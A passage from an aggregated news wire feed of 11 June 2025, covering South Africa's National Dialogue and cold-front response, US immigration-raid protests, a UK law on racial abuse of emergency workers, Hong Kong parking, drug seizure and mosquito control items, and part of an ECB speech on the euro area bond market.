    “I am grateful to each of these South African patriots who have made themselves available to act as the guarantors of an inclusive, constructive and credible process,” he said. 

    IMC

    An Inter-Ministerial Committee (IMC)  has been established under the chairpersonship of Deputy President Paul Mashatile to coordinate government’s contribution to the National Dialogue. 

    The President said a Steering Committee will be established, comprised of representatives of various sectors of society, to set strategic priorities and coordinate implementation of the dialogue process. 

    The Secretariat, which is responsible for day-to-day management of National Dialogue activities, will be housed at NEDLAC, the National Economic Development and Labour Council. 

    “As a nation, we are embarking on a new path of partnership and united action. We are drawing on our traditions of dialogue and debate. We are determined to define a shared vision of a nation which belongs to all South Africans united in their diversity,” the President said. – SAnews.gov.za

    MIL OSI Africa –

    June 11, 2025
  • MIL-OSI Africa: Eastern Cape government activates disaster teams in response to cold front

    Source: South Africa News Agency

    The Eastern Cape Provincial Government has activated its disaster management teams in response to severe cold front and associated weather conditions that have struck the province since Monday, 9 June 2025.

    In a statement issued on Tuesday, the provincial government confirmed that emergency response teams have been dispatched to various areas and are working around the clock to provide critical support to communities impacted by heavy rainfall, strong winds, and snowfall.

    The South African Weather Service has issued an Orange Alert Level 6, warning of disruptive snowfall in high-lying regions of the province, potential road closures, flooding, and possible power interruptions.

    Several roads have been affected by the heavy rains, including the R61 from Umthatha to Ngcobo and N2 to Kokstad near Emakhaphetshwini outside Umthatha. Damages have also been reported in homes in the OR Tambo, Joe Gqabi, Sarah Baartman Districts and Nelson Mandela Bay Municipality.

    Rescue teams were dispatched to bolster rescue efforts just along the R61 outside Mthatha, where three children were stuck on a tree. The children have since been rescued.

    The provincial government also confirmed that roads such as Wapadsberg Pass, along the R61 between Nxuba and Graaff-Reinet, have been blanketed in snow, prompting a warning to motorists to drive with extreme caution.

    “The provincial government’s primary objective is to safeguard lives and infrastructure during this extreme weather event. Community members are advised to remain alert, monitor official updates, and strictly follow safety directives,” the provincial government said.

    Eastern Cape Premier, Lubabalo Oscar Mabuyane, has urged all motorists to exercise extreme caution and avoid non-essential traveling, as well as travelling through flood-prone and mountainous areas.

    He also urged citizens to immediately report hazards, such as downed power lines and road accidents to the nearest authorities.

    “Our disaster teams are on high alert and ready to respond wherever assistance is needed. We urge the public to stay cautious and prioritise safety above all else.

    “Government is fully mobilised, coordinating closely with local municipalities and emergency services to manage the impact of the weather system and support those affected,” Mabuyane said. – SAnews.gov.za
     

    MIL OSI Africa –

    June 11, 2025
  • US cities brace for more protests as parts of Los Angeles placed under curfew

    Source: Government of India

    Source: Government of India (4)

    Several U.S. cities braced for protests on Wednesday against President Donald Trump’s sweeping immigration raids, as parts of the country’s second largest city Los Angeles spent the night under curfew in an effort to quell five days of unrest.

    The Governor of Texas, Republican Greg Abbott, said he will deploy the National Guard this week, ahead of planned protests. Protesters and police in Austin clashed on Monday.

    Trump’s extraordinary measures of sending National Guard and Marines to quell protests in Los Angeles has sparked a national debate on the use of military on U.S. soil and pitted the Republican president against California’s Democrat governor.

    “This brazen abuse of power by a sitting president inflamed a combustible situation, putting our people, our officers and even our National Guard at risk. That’s when the downward spiral began,” California Governor Gavin Newsom said in a video address on Tuesday.

    “He again chose escalation. He chose more force. He chose theatrics over public safety. … Democracy is under assault.”

    Newsom, widely seen as preparing for a presidential run in 2028, and the state of California sued Trump and the Defense Department on Monday, seeking to block the deployment of federal troops. Trump in turn has suggested Newsom should be arrested.

    Hundreds of U.S. Marines arrived in the Los Angeles area on Tuesday under orders from Trump, after he also ordered the deployment of 4,000 National Guard to the city. Marines and National Guard are to be used in the protection of government personnel and buildings and not in police action.

    Los Angeles Mayor Karen Bass said the deployments were not necessary as police could manage the protest, the majority of which have been peaceful, and limited to about five streets.

    However, due to looting and violence at night she imposed a curfew over one square mile of the city’s downtown, starting Tuesday night. The curfew will last several days.

    Police said multiple groups stayed on the streets in some areas despite the curfew and “mass arrests” were initiated. Police earlier said that 197 people had already been arrested on Tuesday – more than double the total number of arrests to date.

    Democratic leaders have raised concerns over a national crisis in what has become the most intense flashpoint yet in the Trump administration’s efforts to deport migrants living in the country illegally, and then crack down on opponents who take to the streets in protest.

    Trump, voted back into office last year largely for his promise to deport undocumented immigrants, used a speech honoring soldiers on Tuesday to defend his decision.

    He told troops at the army base in Fort Bragg, North Carolina: “Generations of army heroes did not shed their blood on distant shores only to watch our country be destroyed by invasion and third-world lawlessness.”

    ‘FULL-BLOWN ASSAULT’

    “What you’re witnessing in California is a full-blown assault on peace, on public order and on national sovereignty, carried out by rioters bearing foreign flags,” Trump said, adding his administration would “liberate Los Angeles.”

    Demonstrators have waved the flags of Mexico and other countries in solidarity for the migrants rounded up in a series of intensifying raids.

    Homeland Security said on Monday its Immigration and Customs Enforcement (ICE) division had arrested 2,000 immigration offenders per day recently, far above the 311 daily average in fiscal year 2024 under former President Joe Biden.

    Protests have also taken place in other cities including New York, Atlanta and Chicago, where demonstrators shouted at and scuffled with officers. Some protesters climbed onto the Picasso sculpture in Daley Plaza, while others chanted that ICE should be abolished.

    Texas Governor Abbott said late on Tuesday that he will deploy the National Guard, which “will use every tool & strategy to help law enforcement maintain order.”

    “Texas National Guard will be deployed to locations across the state to ensure peace & order. Peaceful protest is legal.

    Harming a person or property is illegal & will lead to arrest,” Abbott posted on X.

    South Texas organizations are expected to hold anti-ICE rallies on Wednesday and Saturday, CNN reported local media as saying.

    About 700 Marines were in a staging area in the Seal Beach area about 30 miles (50 km) south of Los Angeles on Tuesday, awaiting deployment to specific locations, a U.S. official said.

    California Attorney General Rob Bonta told Reuters the state was concerned about allowing federal troops to protect personnel, saying there was a risk that could violate an 1878 law that generally forbids the U.S. military, including the National Guard, from taking part in civilian law enforcement.

    “Protecting personnel likely means accompanying ICE agents into communities and neighborhoods, and protecting functions could mean protecting the ICE function of enforcing the immigration law,” Bonta said.

    U.S. Immigration and Customs Enforcement on Tuesday posted photos on X of National Guard troops accompanying ICE officers on an immigration raid. Trump administration officials have vowed to redouble the immigration raids in response to the street protests.

    The last time the military was used for direct police action under the Insurrection Act was in 1992, when the California governor at the time asked President George H.W. Bush to help respond to Los Angeles riots over the acquittal of police officers who beat Black motorist Rodney King.

    (Reuters)

    June 11, 2025
  • MIL-OSI United Kingdom: Emergency workers to be better protected from racial abuse

    Source: United Kingdom – Executive Government & Departments

    News story

    Emergency workers to be better protected from racial abuse

    Emergency workers will be better protected from violence and abuse when visiting homes as the government introduces new laws to support frontline staff.

    Image: Getty Images

    The new measures, tabled today as amendments to the government’s landmark Crime and Policing Bill, will close an existing loophole that allows people to get away with racial and religious abuse towards police, fire and ambulance workers making house calls.

    Currently, it is illegal to racially or religiously abuse anyone in public, but this does not extend to behaviour within a private home.

    The gap was originally designed to ensure that the laws that allow police to keep public spaces free from serious disorder did not overstep into private conversations held in homes.

    By stopping short of people’s houses, the law has left emergency workers vulnerable and unprotected to racial and religious-based abuse and harassment during house calls, and unable to hold the perpetrators to account for their behaviour.

    Reports of emergency workers being abused for their race or religion while in private homes have increased, and the government thinks it is vital they get the protections they deserve as they carry out their vital work to resolve home disputes and provide health care.  

    By closing the loophole in the Public Order Act 1986, the government is making clear that racially or religiously motivated abuse and threats towards our emergency workers will never be tolerated, regardless of where it takes place.

    Under the change, offenders of abusing emergency workers in any setting could face a maximum sentence of 2 years imprisonment.

    Policing Minister Dame Diana Johnson said:

    Our emergency workers put themselves in harm’s way every day to keep us safe and they should never have to tolerate abuse due to their race or religion while simply doing their job. 

    As part of our Plan for Change, this government is rebuilding the bond between the public and police, and part of that means ensuring our officers have the protections they deserve.  

    By closing this loophole, we’re sending a clear message that racial and religious abuse directed towards those who serve our communities will not be tolerated.

    Health and Social Care Secretary, Wes Streeting, said:

    Our emergency workers carry out lifesaving work every day and deserve to feel safe from violence or intimidation.

    Anyone who violates this core principle brings shame on themselves and will feel the full force of the law, wherever they are.

    I will not stand any health worker being subjected to abuse and take a zero-tolerance approach, and these new measures will crack down on perpetrators.

    Minister for Fire, Alex Norris said:

    All emergency service workers should be able to carry out their duties without being subjected to unacceptable racial and religious abuse.

    This government stands firmly behind emergency service workers and will not tolerate abusive behaviour towards those risking their lives to keep us safe.

    Andy Rhodes, Director of the National Police Wellbeing Service, said:

    Policing is an extremely fulfilling profession where officers can make a genuine difference to people’s lives and to their communities. We welcome the amendment to the legislation, which will better protect officers and staff who are there to protect the public.

    Sadly, the role they play means they can often be faced with some incredibly challenging and hostile situations, especially in private homes, and over time, this can take a toll.

    The protection of our officers and staff is a clear priority for all police chiefs. Hate crime has a devastating impact on individual victims, and racial, and faith-based discrimination against officers or emergency workers cannot be tolerated in any form.

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    Updates to this page

    Published 11 June 2025

    MIL OSI United Kingdom –

    June 11, 2025
  • MIL-OSI United Kingdom: Update: Statement from Captiva Homes on Horsebridge Hill roadworks 11 June 2025 Update: Statement from Captiva Homes on Horsebridge Hill roadworks

    Source: Aisle of Wight

    Statement from Captiva Homes on Horsebridge Hill roadworks 

    We recognise the roadworks on Horsebridge Hill are continuing to cause disruption and inconvenience to residents and businesses, for which we apologise.  We continue to work with Island Roads, the Council and other stakeholders to ensure this is minimised as much as possible.  We are pleased to report that the works are being delivered in line with the agreed schedule and remain on track to be completed during the week commencing 4 July.  This will facilitate the first Island families moving into their new homes this summer. 

    On site, road widening and kerbing installation has now been completed; traffic signal ducting and the new water main have been installed (the latter will reduce future work for Southern Water in the area).

    Planned works in the week ahead will see base tarmac laid to road and footpaths, installation of ducts and sockets to the northbound carriageway and commencement of entrance works to the Three Oaks development.

    The diversion of northbound traffic from Newport to Cowes saw a 4-minute increase in average journey times last week (2.6.25 to 6.6.25, from 16mins to 20 mins).  This does not tell the full story as the closure of Middle Road for planned utility works last Tuesday and Wednesday evenings plus road traffic accidents in the Newport area caused significant delays.

    Southern Vectis bus services continue to run a full daytime service (between 06.00 – 20.00) from Newport to Cowes and southbound travel from Cowes to Newport continues to flow smoothly throughout the day.

    All businesses in the area remain open with access via the diversion.

    Important changes to the traffic management plans are scheduled in the coming weeks, details below;

    Isle of Wight Festival week

    • All works on Horsebridge Hill will cease and traffic will return to two-way along Horsebridge Hill from 20.00 on Tuesday 17 June to 20.00 on Monday 23 June
    • The current one-way system and diversion will be re-instated from 20.00 on Monday 23 June
    • Traffic from Nicholson Street will have north and southbound access from Monday 23 June

    Two weekend road closures are required to facilitate foul sewer connections and road surfacing;

    • Full closure from 20.00 Friday 27 June to 06.00 Monday 30 June
    • Full closure from 20.00 Friday 4 July to 06.00 Monday 7 July

    During the two weekend closures the current diversion route will operate for north and south bound traffic.  To facilitate the diversion route there will be a clearway order for both sides of Pallance Road for the length, the 3 way temporary lights will remain on the Whitehouse Road/Corf Road junction and there will also be 4 way lights installed on Forest Road/Whitehouse Road junction to make it safer for vehicles emerging from Whitehouse Road.

    MIL OSI United Kingdom –

    June 11, 2025
  • MIL-OSI Asia-Pac: LCQ6: Supply of car parking spaces

    Source: Hong Kong Government special administrative region

    Following is a question by Dr the Hon Ngan Man-yu and a reply by the Secretary for Transport and Logistics, Ms Mable Chan, in the Legislative Council today (June 11):

    Question:

    Regarding the supply of car parking spaces, will the Government inform this Council:

    (1) of the following information on parking spaces for various vehicle classes (including private cars, commercial vehicles and motorcycles) in Hong Kong from 2022 to 2024: the number of parking spaces, the district distribution, the utilisation rate, the increase or decrease in the number of parking spaces due to redevelopment, new development or other projects, with a tabulated breakdown by type of parking space (e.g. public or temporary car parks, on-street parking spaces); whether it has projected the parking space demand from this year to 2029, and of the currently planned number of parking spaces for various vehicle classes to be built, their locations, the government departments responsible for building them and their expected completion dates;

    (2) whether it has plans to conduct a comprehensive review of the supply of parking spaces for various vehicle classes in the territory and study the further opening of car parks in schools and government premises in various districts in the evenings and on public holidays for public use; if so, of the details; if not, the reasons for that; and

    (3) whether, on the pretext of not affecting traffic flow and road safety, it will consider increasing the number of free on-street parking spaces, extending the parking hours for night-time parking spaces and installing multi-storey stacked parking systems to improve land use efficiency; if so, of the details; if not, the reasons for that?

    Reply:

    President,

    In response to Oral Question 1, the Government has outlined its parking policy and I am not going to repeat it here. We will adopt a multi-pronged strategy to comprehensively increase parking supply, including leveraging technology, fostering stronger collaboration among stakeholders, and prioritising the parking needs of commercial vehicles (CVs).

    Having consulted the Transport Department (TD), a consolidated reply in response to the questions raised by Dr the Hon Ngan Man-yu is as follows:

    (1) Over the past three years, the total number of parking spaces in Hong Kong has increased by more than 15 000, bringing the total to over 800 000 (Annex 1). The ratio of parking spaces to registered vehicles has improved, and the number of metered parking spaces has also grown (Annex 2). However, the recovery of some short-term tenancy (STT) car parks has led to a slight decline in CV parking spaces (Annex 3). To address this, we have implemented various measures to enhance CV parking supply. For example, public vehicle parks (PVPs) currently in operation and under construction will provide approximately 460 CV parking spaces, and we have mandated a minimum number of CV parking spaces in suitable STT car parks. The Government continues to collaborate actively with stakeholders to expand parking supply. Between 2022 and 2024, more than 25 000 additional parking spaces were introduced under urban redevelopment projects (Annex 4). Utilisation rates remain consistently high across all types of parking spaces, with metered parking spaces averaging around 90 per cent and trending upward. Among public car parks managed by the TD, utilisation rates range from approximately 80 per cent to 90 per cent, while STT car parks average around 60 per cent.

    When advancing PVP projects, the TD assesses district-level parking demand based on illegal parking occurrences and the availability of facilities near project sites. For example, priority is given to areas with a high concentration of logistics trades for additional CV parking spaces. The TD will also consider conducting studies to forecast medium-to-long-term parking needs.

    The currently operating and under-construction PVPs will provide over 3 200 parking spaces. We are also exploring the adaptive reuse of construction shafts left after the completion of the Central Kowloon Bypass, with plans to convert them into underground multi-storey car parks featuring automated parking systems (APS).

    Over the next two years, the Government will introduce 12 000 additional parking spaces, with at least 500 designated for CVs. The actual quantity will be even higher when accounting for additional CV parking spaces from upcoming STT car parks and private development projects.

    Our priority remains the expansion of CV parking spaces, particularly in areas facing shortages, and we will intensify efforts to promote APS. Through policy initiatives and co-ordinated action with districts, we are confident that Hong Kong’s parking supply will continue to improve. Projected parking space supply estimates beyond 2025 are detailed in Annex 5.

    (2) The standard of parking facilities in the Hong Kong Planning Standards and Guidelines (HKPSG) will be reviewed regularly and revised when necessary to meet future transportation and policy needs. The first batch of subsidised housing planned under the revised HKPSG in 2021 (Note) is scheduled for completion in 2026, providing approximately 4 700 parking spaces across 26 subsidised housing developments. This includes 220 CV parking spaces, as well as the introduction of 33 medium/heavy goods vehicle and 18 coach/bus shared-use loading and unloading bays for night-time CV parking. The TD is closely monitoring the implementation of the revised HKPSG and will review it as needed to ensure it aligns with the latest developments.

    The Government Property Agency has opened around 1 000 parking spaces within the 12 joint-user general office buildings under its management, with some parking spaces available for public use throughout the day. Additionally, public car parks managed by the Leisure and Cultural Services Department provide more than 2 700 parking spaces for public use. The TD is actively collaborating with the Housing Department to explore the possibility of opening loading/unloading bays in five subsidised housing developments, including Sha Tin and Tsuen Wan for night-time CV parking, given the substantial parking demand from medium and heavy goods vehicles in these areas. Furthermore, the TD is working with the Education Bureau to encourage more schools to make school bus parking spaces available for student service vehicles during non-school hours, specifically to address CV parking needs.

    (3) The TD has been proactively identifying suitable locations across districts to provide additional on-street parking spaces. As of 2024, more than 1 860 on-street night-time parking spaces have been designated. The free parking period for over 600 CV night-time parking spaces has been adjusted to start at 7pm, and future provisions of such spaces will aim to advance the free parking period as much as possible.

    The Government has been implementing APS projects in suitable PVPs and STT car parks, as APS can nearly double the parking capacity within the same space. PVPs currently under construction will provide 1 000 automated parking spaces. Additionally, seven private car parks and three STT car parks are already equipped with APS. The PVPs are located in Tseung Kwan O, San Po Kong, Sham Shui Po, and Ma On Shan, while the STT car parks are in Tsuen Wan, Tai Po, Sham Shui Po, and Yau Ma Tei. Various APS models are being adopted, including puzzle-stacking as proposed in the question, vertical lifting and horizontal sliding, as well as circular shaft lifting systems.

    The widespread adoption of APS in Hong Kong requires private sector involvement from the society. Both the Electrical and Mechanical Services Department and the TD have published APS implementation guidelines for industry reference. In the future, the TD will actively encourage developers to adopt APS and explore further incentive measures.

    Thank you, President.

    Note: The 2021 he revised HKPSG has increased the number of ancillary parking spaces for PCs in private and subsidised housing developments, the types and numbers of parking spaces for CVs in subsidised housing development, and introduced two types of “shared-use” parking spaces, one of which is to be shared by light goods vehicles and light buses, and the other by medium/heavy goods vehicles and coaches.

    MIL OSI Asia Pacific News –

    June 11, 2025
  • MIL-OSI Asia-Pac: Hong Kong Customs seizes suspected cocaine worth about $1 million (with photo)

    Source: Hong Kong Government special administrative region

    Hong Kong Customs yesterday (June 10) seized about 1.3 kilograms of suspected cocaine with an estimated market value of about $1 million in Hung Hom. A 33-year-old man suspected to be connected with the case was arrested. 

    During an anti-narcotics operation conducted in Hung Hom yesterday afternoon, Customs officers intercepted a suspicious man and seized about 1.3kg of suspected cocaine inside a rucksack carried by him. The man was subsequently arrested. Customs officers later escorted him to a residential premises nearby for a search and further seized a batch of suspected drug packaging paraphernalia. 

    The arrestee has been charged with one count of trafficking in a dangerous drug and will appear at the Kowloon City Magistrates’ Courts tomorrow (June 12).

    Under the Dangerous Drugs Ordinance, trafficking in a dangerous drug is a serious offence. The maximum penalty upon conviction is a fine of $5 million and life imprisonment.

    Members of the public may report any suspected drug trafficking activities to Customs’ 24-hour hotline 182 8080 or its dedicated crime-reporting email account (crimereport@customs.gov.hk) or online form (eform.cefs.gov.hk/form/ced002).

    MIL OSI Asia Pacific News –

    June 11, 2025
  • MIL-OSI Asia-Pac: Public urged to strengthen anti-mosquito efforts

    Source: Hong Kong Government special administrative region

    ​The Food and Environmental Hygiene Department (FEHD) today (June 11) announced that the monthly gravidtrap index for Aedes albopictus mosquitoes in May was 8.6 per cent, at Level 2, indicating that the distribution of Aedes albopictus mosquitoes in the survey areas was fairly extensive. Relevant government departments have stepped up mosquito prevention and control actions. 

    In May, among the 64 survey areas, the area gravidtrap index in six areas exceeded the alert level of 20 per cent. The gravidtraps were mostly located in the vicinity of private residential areas, public housing estates, schools, recreational and sports facilities and public places. The FEHD has collaborated with relevant government departments by taking immediate action to strengthen mosquito prevention and control work in the area concerned. 

    Moreover, the monthly density index for Aedes albopictus in May was 1.3, which represented that an average of 1.3 Aedes albopictus adults were found in the Aedes-positive gravidtraps, indicating that the number of adult Aedes albopictus was not abundant in the survey areas. The gravidtrap and density indices for Aedes albopictus in different survey areas as well as information on mosquito prevention and control measures are available on the department website at www.fehd.gov.hk.

    A spokesman for the FEHD said, “There is a significant relationship between local mosquito infestation and seasonal changes. The gravidtrap indices in various survey areas would be relatively higher during hot and rainy spring and summer months (i.e. from May to September) as mosquitoes breed quickly. Members of the public are reminded to continue the routine mosquito prevention and control work, especially the repair and maintenance of structures. Cracks and dents that may accumulate water and become potential breeding grounds should be filled and levelled to reduce the chance of mosquito breeding.”

    “The Government is concerned about the mosquito infestation in May. The increase in the monthly gravidtrap index for Aedes albopictus for May might be related to the continuously hot and rainy days in the month. The FEHD has continued to intensify the mosquito prevention and control work with relevant government departments in areas under their purview, including eliminating mosquito breeding places, applying larvicides, conducting fogging operations to eradicate adult mosquitoes, and placing mosquito trapping devices at suitable locations. The FEHD has also conducted site inspections with relevant departments, and provided them with professional advice and technical support to assist them in formulating and implementing effective anti-mosquito measures swiftly. At the same time, the FEHD has strengthened publicity and education. The FEHD will continue to monitor the mosquito infestation in all districts, and will conduct prompt and effective mosquito prevention and control work,” the spokesman continued.

    The FEHD will conduct a three-phase Anti-mosquito Campaign this year. The second phase of the territory-wide campaign was launched on April 14 and will run until June 13. During the period, the district offices of the FEHD will target areas that have drawn particular concern, such as public markets, cooked food centres and hawker bazaars, single-block buildings, streets and back lanes, common parts of buildings, village houses, construction sites, vacant sites and road works sites, to remove accumulated water and carry out mosquito prevention and control work. To further enhance the effectiveness of mosquito control, the FEHD and relevant government departments have carried out phase two of the All-out Anti-mosquito Operations from May 7. In addition to the work of phase one, including eliminating potential mosquito breeding places, the FEHD called on property management entities to arrange for necessary repairs to their premises to minimise mosquito breeding places and commence adult mosquito control measures by means of regular ultra-low volume fogging operations.

    The FEHD appeals to members of the public to continue to stay alert and work together to carry out mosquito prevention and control measures early, including inspecting their homes and surroundings to remove potential breeding grounds, changing water in vases and scrubbing their inner surfaces, removing water in saucers under potted plants at least once a week, properly disposing of containers such as soft drink cans and lunch boxes, and drilling large holes in unused tyres. The FEHD also advises members of the public and estate management bodies to keep drains free of blockage and level all defective ground surfaces to prevent the accumulation of water. They should also scrub all drains and surface sewers with an alkaline detergent at least once a week to remove any mosquito eggs.

    Aedes albopictus is a kind of mosquito that can transmit dengue fever (DF). DF is commonly found in tropical and subtropical regions of the world, and has become endemic in many countries in Southeast Asia. In 2024, the World Health Organization recorded over 14 million DF cases, which was a record number. The dengue activity in neighbouring areas has remained high. Members of the public should stay vigilant and continue to carry out effective mosquito prevention and control measures.

    MIL OSI Asia Pacific News –

    June 11, 2025
  • MIL-OSI Europe: Philip R. Lane: The euro area bond market

    Source: European Central Bank

    Keynote speech by Philip R. Lane, Member of the Executive Board of the ECB, at the Government Borrowers Forum 2025

    Dublin, 11 June 2025

    I am grateful for the invitation to contribute to the Government Borrowers Forum. I will use my time to cover three topics.[1] First, I will briefly discuss last week’s monetary policy decision.[2] Second, I will describe some current features of the euro area bond market.[3] Third, I will outline some innovations that might expand the scope for euro-denominated bonds to serve as safe assets in global portfolios.

    Monetary policy

    At last week’s meeting, the Governing Council decided to lower the deposit facility rate (DFR) to two per cent. The baseline of the latest Eurosystem staff projections foresees inflation at 2.0 per cent in 2025, 1.6 per cent in 2026 and 2.0 per cent in 2027; output growth is foreseen at 0.9 per cent for 2025, 1.2 per cent in 2026 and 1.3 per cent in 2027. The lower inflation path in the June projections compared to the March projections reflects the significant movements in energy prices and the exchange rate in recent months. These relative price movements both have a direct impact on inflation but also an indirect impact via the impact of lower input costs and a lower cost of living on the dynamics of core inflation and wage inflation.

    The June projections were conditioned on a rate path that included a quarter-point reduction of the DFR in June: model-based optimal policy simulations and an array of monetary policy feedback rules indicated a cut was appropriate under the baseline and also constituted a robust decision, remaining appropriate across a range of alternative future paths for inflation and the economy. By supporting the pricing pressure needed to generate target-consistent inflation in the medium-term, this cut helps ensure that the projected negative inflation deviation over the next eighteen months remains temporary and does not convert into a longer-term deviation of inflation from the target. This cut also guards against any uncertainty about our reaction function by demonstrating that we are determined to make sure that inflation returns to target in the medium term. This helps to underpin inflation expectations and avoid an unwarranted tightening in financial conditions.

    The robustness of the decision is also indicated by a set of model-based optimal policy simulations conducted on various combinations of the scenarios discussed in the Eurosystem staff projections report, even when also factoring in upside scenarios for fiscal expenditure. A cut is also indicated by a broad range of monetary policy feedback rules. By contrast, leaving the DFR on hold at 2.25 per cent could have triggered an adverse repricing of the forward curve and a revision in inflation expectations that would risk generating a more pronounced and longer-lasting undershoot of the inflation target. In turn, if this risk materialised, a stronger monetary reaction would ultimately be required.

    Especially under current conditions of high uncertainty, it is essential to remain data dependent and take a meeting-by-meeting approach in making monetary policy decisions. Accordingly, the Governing Council does not pre-commit to any particular future rate path.

    The euro area bond market

    Chart 1

    Ten-year nominal OIS rate and GDP-weighted sovereign yield for the euro area

    (percentages per annum)

    Sources: LSEG and ECB calculations.

    Notes: The latest observations are for 10 June 2025.

    Let me now turn to a longer-run perspective by inspecting developments in the bond market. In the first two decades of the euro, nominal long-term interest rates in the euro area were, by and large, on a declining trend from the start of the currency bloc until the outbreak of the pandemic (Chart 1). The ten-year overnight index swap (OIS) rate, considered as the ten-year risk-free rate in the euro area, declined from 6 percent in early 2000 to -50 basis points in 2020, a trend matched by the 10-year GDP-weighted sovereign bond yield.[4] The economic recovery from the pandemic and the soaring energy prices in response to the Russian invasion in Ukraine caused surges in inflation which led to an increase of interest rates. The recent stability of these long-term rates suggests that markets have seen the euro area economy gradually moving towards a new long-term equilibrium following the peak of annual headline inflation in October 2022, as past shocks have faded.

    Chart 2

    Decomposition of the ten-year spot euro area OIS rate into term premium and expected rates

    (percentages per annum)

    Sources: LSEG and ECB calculations.

    Notes: The decomposition of the OIS rate into expected rates and term premia is based on two affine term structure models, with and without survey information on rate expectations[5], and a lower bound term structure model[6] incorporating survey information on rate expectations. The latest observations are for 10 June 2025.

    A term structure model makes it possible to decompose OIS rates into a term premium component and an expectations component. For the ten-year OIS rate, the expectations component reflects the expected average ECB policy rate over the next ten years and is affected by ECB’s policy decisions on interest rates and communication about the future policy path (e.g., in the form of explicit or implicit forward guidance). The term premium is a measure of the estimated compensation investors demand for being exposed to interest rate risk: the risk that the realised policy rate can be different from the expected rate.

    Chart 3

    Ten-year euro area OIS rate expectations and term premium component

    (percentages per annum)

    Sources: LSEG and ECB calculations.

    Notes: The decomposition of the OIS rate into expected rates and term premia is based on two affine term structure models, with and without survey information on rate expectations4, and a lower bound term structure model5 incorporating survey information on rate expectations. The latest observations are for 10 June 2025.

    The decline of long-term rates in the first two decades of the euro and the rapid increase in 2022 were driven by both the expectations component and the term premium (Charts 2 and 3). The premium was estimated to be largely positive in the early 2000s, understood as a sign that the euro area economy was mostly confronted with supply-side shocks. Starting with the European sovereign debt crisis, the euro area was more and more characterised as a demand-shock dominated economy, in which nominal bonds act as a hedge against future crises and thus investors started requiring a lower or even negative term premium as compensation to hold these assets.[7] The large-scale asset purchases of the ECB under the APP reinforced the downward pressure on the term premium. By buying sovereign bonds (and other assets), the ECB reduced the overall amount of duration risk that had to be borne by private investors, reducing the compensation for risk.[8] With demand and supply shocks becoming more balanced again and central banks around the world normalising their balance sheet holdings of sovereign bonds in recent years, the term premium estimate turned positive again in early 2022 and continued to inch up through the first half of 2023. As it became clear in the second half of 2023 that upside risk scenarios for inflation were less likely, the term premium fell back to some extent and has been fairly stable since.

    Different to the ten-year maturity, very long-term sovereign spreads did not experience the same pronounced negative trend. From the inception of the euro until 2014, the thirty-year euro area GDP-weighted sovereign yield fluctuated around 3 percent. The decline to levels below 2 percent after 2014 and around 0.5 percent in 2020 reflect declining nominal risk-free rates more generally but also coincide with the announcements of large-scale asset purchases (PSPP and PEPP). Likewise, the upward shift back to above 3 percent during 2022 occurred on the back of rising policy rates and normalising central bank balance sheets.

    Chart 4

    Ten-year sovereign bond spreads vs Germany

    (percentages per annum)

    Sources: LSEG and ECB calculations.

    Notes: The spread is the difference between individual countries’ 10-year sovereign yields and the 10-year yield on German Bunds. The latest observations are for 10 June 2025.

    In the run-up to the global financial crisis, sovereign yields in the euro area were very much aligned between countries and also with risk-free rates (Chart 4). With the onset of the global financial crisis and later the European sovereign debt crisis, sovereign spreads for more vulnerable countries soared as investors started to discriminate between euro area countries according to their perceived creditworthiness.

    On top of the efforts of European sovereigns to consolidate their public finances, President Draghi’s 2012 “whatever it takes” speech and the subsequent announcement of Outright Monetary Transaction (OMTs) marked a turning point in the euro area sovereign debt crisis. Sovereign spreads came down from their peaks but have kept some variation across countries ever since.

    The large-scale asset purchases under the APP and PEPP further compressed sovereign spreads. During the pandemic and the subsequent monetary policy tightening, the flexibility in PEPP and the creation of the Transmission Protection Instrument (TPI) supported avoiding fragmentation risks in sovereign bond markets. The extraordinary demand for sovereign bonds as collateral at the beginning of the hiking cycle, at a time when central bank holdings of these bonds were still high, resulted in the yields of German bonds, which are the most-preferred assets when it comes to collateral, declining far below the risk-free OIS rate in the course of 2022. These tensions eased as collateral scarcity reversed.[9]

    This year, bond yields and bond spreads in the euro area have been relatively stable, despite significant movements in some other bond markets. This can be interpreted as reflecting a balancing between two opposing forces: in essence, the typical positive spillover across bond markets has been offset by an international portfolio preference shift towards the euro and euro-denominated securities. This international portfolio preference shift is likely not uniform and is some mix of a pull back by European investors towards the domestic market and some rebalancing by global investors away from the dollar and towards the euro. More deeply, the stability of the euro bond market reflects a high conviction that euro area inflation is strongly anchored at the two per cent target and that the euro area business cycle should be relatively stable, such that the likely scale of cyclical interest rate movements is contained. It also reflects growing confidence that the scope for the materialisation of national or area-wide fiscal risks is quite contained, in view of the shared commitment to fiscal stability among the member countries and the demonstrated capacity to react jointly to fiscal tail events.[10]

    Chart 5

    Holdings of “Big-4” euro area government debt

    (percentage of total amounts outstanding)

    Sources: ECB Securities Holding Statistics and ECB calculations.

    Notes: The chart is based on all general government plus public agency debt in nominal terms. The breakdown is shown for euro area holding sectors, while all non-euro area holders are aggregated in the orange category in lack of more detailed information. ICPF stands for insurance corporations and pension funds. The “Big-4” countries include DE, FR, IT, ES. 2014 Q4 reflects the holdings before the onset of quantitative easing. 2022 Q4 reflects the peak of Eurosystem holdings at the end of net asset purchases.

    Latest observation: Q1 2025

    In understanding the dynamics of the bond market, it is also useful to examine the distribution of bond holdings across sectors. The largest euro-area holder sectors are banks, insurance corporations and pension funds (ICPF) and investment funds, while non-euro area foreign investors also are significant holders (Chart 5). The relative importance of the sectors differs between countries. Domestic banks and insurance corporations play a relatively larger role in countries like Italy and Spain, while non-euro area international investors hold relatively larger shares of debt issued by France or Germany.

    Since the start of the APP in early 2015, the Eurosystem increased its market share in euro area sovereign bonds from about 5 per cent of total outstanding debt to a peak of 33 per cent in late 2022. Net asset purchases by the Eurosystem were stopped in July 2022, while the full reinvestment of redemptions ceased at the end of that year: by Q1 2025, the Eurosystem share had declined to 25 per cent. The increase in Eurosystem holdings during the QE period was mirrored by falling holdings of banks and non-euro area foreign investors. The holding share of banks declined from 22 per cent in 2014 to 14 per cent at the end of 2022, while the share held by foreign investors fell from 35 per cent to 25 per cent over the same period.

    ICPFs have consistently held a significant share of the outstanding debt, especially at the long-end of the yield curve. Since 2022, following the end of full reinvestments under the APP, more price-sensitive sectors, such as banks, investment funds and private foreign investors, have regained some market share. Holdings by households have also shown some noticeable growth in sovereign bond holdings, driven primarily by Italian households.[11] In summary, the holdings statistics show that the bond market has smoothly adjusted to the end of quantitative easing. In particular, the rise in bond yields in 2022 was sufficient to attract a wide range of domestic and global investors to expand their holdings of euro-denominated bonds.[12]

